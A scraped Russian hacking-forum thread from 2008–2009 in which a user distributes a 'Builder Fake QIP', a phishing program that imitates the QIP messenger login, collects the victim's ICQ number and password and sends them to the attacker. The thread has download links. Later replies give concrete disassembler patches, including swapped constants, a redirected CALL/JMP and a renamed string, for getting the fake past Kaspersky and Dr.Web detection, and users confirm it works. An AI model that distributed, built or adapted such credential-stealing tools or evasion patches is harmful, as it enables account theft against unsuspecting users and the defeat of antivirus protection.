Форум АНТИЧАТ - Builder Fake QIP 8070 v1.3

Страница 1 из 2

Показывать 40 сообщений этой темы на одной странице

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- ICQ (https://forum.antichat.xyz/forumdisplay.php?f=13)

- - Builder Fake QIP 8070 v1.3 (https://forum.antichat.xyz/showthread.php?t=89491)

DIMON4G

28.10.2008 20:34

Builder Fake QIP 8092

Builder Fake QIP 8092 v1.3

http://pic.ipicture.ru/uploads/081028/45ouyoCWk0.png

Builder Fake QIP 8092 в этой программе лежит фейк входа QIP 8092.
В этой версии изменений нет, изменил только малость код, местами поменял чтоб антивирус не ругался :)

Описание работы qip.exe:
Жертва вводит свой уин и пароль жмёт Подключиться, QIP запускается с уина и пароля жертвы и отправляет эти данные на ваш уин и/или емаил, одновременно у жертвы вылезает окошко "Связь прервана".

Как пользоваться билдером:
Там все написано, разберётесь :)

Скачать 501 Кб:
с DepositFiles.com

Gorec

28.10.2008 23:29

Если я не ошибаюсь,это уже было!!!!

DIMON4G

29.10.2008 00:47

Цитата:

Сообщение от Gorec

Если я не ошибаюсь,это уже было!!!!

заметь версия 1.3

Buffalon

29.10.2008 01:18

Цитата:

Сообщение от Gorec

Если я не ошибаюсь,это уже было!!!!

Этот баянчик - по всему инету бродит... .

Gorec

29.10.2008 18:07

Цитата:

Сообщение от DIMON4G

заметь версия 1.3

было бы Qip Infium,то было бы другое дело!))))
и весило бы как реальная,а так его никуда не впаришь(((

dENIk

01.11.2008 15:08

для QIP INfium http://letitbit.net/download/7ab381114666/BuilderFakeQIPInfium9015bySin3vv1.0.rar.html

Uname-A

02.11.2008 12:21

Через HEX редактор возможно узнать номер на который отправляется пароль?

mailbrush

02.11.2008 12:43

Очень большая просьба:
Не лейте ничего на вирустотал. Человеку можно доверять, а так только антивирусы ругаться будут!

DIMON4G

02.11.2008 20:03

Цитата:

Сообщение от Uname-A

Через HEX редактор возможно узнать номер на который отправляется пароль?

да :(

Nurik

02.11.2008 23:06

Я мучился и хотел сделать фейк который будет копией qip чтоб устанавливать надо было и вес был подходящий!)))
через несколько дней я понял это скорее фантастика

dimhee

02.11.2008 23:13

я помню begin end подобное выкладывал .

luz3r

07.11.2008 18:27

Хороший фейк. Автору +

kuguarpwnz

08.11.2008 19:31

перезалей плз

DIMON4G

11.11.2008 21:10

Цитата:

Сообщение от kuguarpwnz

перезалей плз

лови

Цитата:

Сообщение от DIMON4G

Скачать 501 Кб:[/B]
с WebFile.Ru пасс: antichat
с DepositFiles.com
с RapidShare.com

Bulbash

12.11.2008 10:17

знакомая весч:)

Qisse

16.01.2009 18:26

уже ошибка:(
http://s56.radikal.ru/i153/0901/6c/91a48416ec99.jpg

Rebit

17.01.2009 15:18

Вот http://s45.radikal.ru/i108/0901/bf/041f7a2a70b3t.jpg

satana8920

17.01.2009 15:23

Rebit тулза старая что ты хотел давно никто не чистил ее
/не флудите в теме блин что за привычка

Future_Life

18.01.2009 22:46

Цитата:

Сообщение от Uname-A

Через HEX редактор возможно узнать номер на который отправляется пароль?

Ой, кому там надо будет это делать...

BLaZeViL

18.01.2009 23:25

Полный баян :(

DIMON4G

26.01.2009 00:54

Цитата:

Сообщение от BLaZeViL

Полный баян :(

полный ништяк нах и неипёт :p

neprovad

26.01.2009 02:04

как почистить от kav

Код:

DATA:004A50E4 1E 00 00 00                   dd 1Eh

DATA:004A50E8 9C F3 45 00                   dd offset aGreece       ; "Greece"

DATA:004A50EC 1F 00 00 00                   dd 1Fh

DATA:004A50F0 AC F3 45 00                   dd offset aNetherlands  ; "Netherlands"

достаточно сменить константы стран одну на другую например 1E заменить на 1F, а 1F заменить на 1E и KAV больше не найдет ничего

nupaT

26.01.2009 16:56

О спс за булидер )) Но у мя Веб палит ((

neprovad

26.01.2009 17:58

Цитата:

Сообщение от nupaT

О спс за булидер )) Но у мя Веб палит ((

Щас покумекаем и перестанет палить
UPD:
Покумекал, меняем недалеко от точки входа код
Было:

Код:

004A2FE8   .  E8 6B9BFBFF   CALL qip.0045CB58

....

004A3041    00 00000000

Стало:

Код:

004A2FE8   E8 54000000   CALL qip.004A3041

.....

004A3041  E9 129BFBFF     JMP qip.0045CB58

Доктор больше не палит

Sin3v

29.01.2009 23:59

О_О да ты волшебник, через че это редактируешь?

diznt

30.01.2009 00:05

Sin3v дизассемблер вроде

neprovad

30.01.2009 08:16

редактирую прямо в ollydbg и потом сохраняю, впрочем, другие программы ничем не хуже.

NAGAN

30.01.2009 11:44

а киньте пожалуйста исправленый билд! будю благодарен!

neprovad

30.01.2009 14:49

Цитата:

Сообщение от NAGAN

а киньте пожалуйста исправленый билд! будю благодарен!

сделай сам, я все написал что и где

NAGAN

30.01.2009 16:39

попробывал но так ничего не пришло...почемуто! хм...

MMxD	30.01.2009 18:43

спасибо, помогло

neprovad

31.01.2009 12:16

если готовый фэйк не запускается, это скорее всего проверка контрольной суммы. а если запускается и не приходит ничего это уже проблемы со связью или чем-либо еще.

NAGAN

03.02.2009 14:23

хм...походу проблема со связью у 5 друзей...все возможно...

ANUBI$

05.02.2009 01:34

спасибо, будим юзать

X-RayBlade

30.03.2009 19:50

Спасибо автору - всё работает ;)

rid3r~man

30.03.2009 20:57

пашет класс, автор спс =)

SWANY

30.03.2009 21:18

Антивирусник его палит((

neprovad

31.03.2009 05:49

Цитата:

Сообщение от SWANY

Антивирусник его палит((

В оригинале

Код:

00495D34 MOV EDX,qip.00495DA0; ASCII "QIP"

меняем строку по адресу 495DA0 "QIP" на "ZZZ" и перестает палить (kav)

slider

31.03.2009 08:10

Это сейчас модно .. ?!... делать хренову тучу фейков...?!

neprovad

31.03.2009 09:34

Цитата:

Сообщение от slider

Это сейчас модно .. ?!... делать хренову тучу фейков...?!

мода - непродолжительное господство определённого стиля\направления в какой-либо сфере

Время: 06:01

Страница 1 из 2

Показывать 40 сообщений этой темы на одной странице